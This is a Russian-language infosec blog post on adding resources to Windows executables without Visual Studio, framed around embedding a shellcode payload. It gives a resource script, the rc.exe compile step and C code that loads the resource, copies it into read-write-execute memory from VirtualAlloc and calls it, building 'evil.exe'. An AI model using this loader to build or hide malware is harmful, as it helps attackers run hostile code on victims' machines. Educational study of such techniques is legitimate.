visilii's blog

Блог о программировании, инфосеке и чём-то ещё
Гостевая книга | Ссылки

Добавление ресурсов в Windows-программы без VS

March 21, 2025 — visilii

Дисклеймер: в статье приводится пример использования ресурсов для встраивания шеллкода в исполняемый файл. Автор блога не несёт отвественности за ваши действия и т.д. и т.п….

Ресурсы - это дополнительные двоичные данные, которые можно встроить прямо в исполняемый exe-файл. В Windows они обычно используются для хранения иконок, шрифтов или меню графических приложений, но также при помощи них можно добавлять полезную нагрузку вроде шеллкодов. Непосредственно с этой точки зрения и рассмотрим, как добавить ресурс к нашей программе.

В этой статье не будет подробно рассматриваться система ресурсов, как они работают “под капотом” и как управлять большим количеством ресурсов. Для крупных проектов я советую воспользоваться Visual Studio, сильно облегчающей жизнь в этом случае. Я хотел бы рассмотреть довольно специфическую проблему добавления ресурсов без использования Visual Studio.


Для начала создадим ресурсный скрипт (.rc-файл), который будет определять включаемые нами ресурсы; назовём его resources.rc. Каждая строка в этом скрипте имеет следующую структуру:

Name Type Filename

Допустим, мы хотим добавить в наш исполняемый файл иконку logo.ico:

Logo ICON "logo.ico"

Обратите внимание:

  1. Имя ресурса чувствительно к регистру - в коде программы его надо будет указать так же, как он был указан в ресурсном файле;

  2. Тип может быть любым, однако есть определённый набор встроенных типов для иконок, кареток и т.д. Как я понимаю, в большинстве случаев, когда эти типы уместны, удобнее использовать их. Я покажу на примере кастомного типа, а отличия между ними рассмотрены здесь.

Полученный rc-файл необходимо скомпилировать в двоичный res-файл. Для этого необходимо воспользоваться утилитой из набора инструментов для разработки MSVC Build Tools. Откроем Developer PowerShell for VS 2022:

rc.exe /r .\resources.rc

На выходе получим файл resources.res.

Теперь в программе, в которой мы планируем использовать ресурс, нам необходимо найти ресурс при помощи FindResource и загрузить его с помощью LoadResource:

HRSRC shellcodeRes = FindResource(NULL, "Payload", "PAYLOAD");
HGLOBAL shellcodeRsData = LoadResource(NULL, shellcodeRes);

Обе функции возвращают NULL при ошибке; это стоит проверять в реальной программе.

shellcodeRsData - это и есть указатель на содержимое загруженного ресурса. Теперь мы можем, например, получить его размер (SizeofResource), выделить исполняемую память, скопировать ресурс туда и запустить шеллкод:

// Получаем размер полезной нагрузки
DWORD shellcodeSz  = SizeofResource(NULL, shellcodeRes);

// Выделяем память с правами на чтение-запись и исполнение
void* exec = VirtualAlloc(0, shellcodeSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// копируем полезную нагрузку из ресурса в выделенную память
memcpy(exec, shellcodeRsData, shellcodeSz);

// Вызываем загруженный код
((void(*)())exec)();

Осталось скомпилировать программу. В случае с clang заставить его слинковать ресурсный файл очень просто:

clang main.c resources.res -o evil.exe

Дополнительные материалы



Теги: инфобез, malware

badge: proud member of the 250KB Club badge: proud member of the darktheme.club
previous no ai webring siteno ai webringrandom no ai webring sitenext no ai webring site
Free Website Counter
Free Website Counter

Домен предоставлен FreeDNS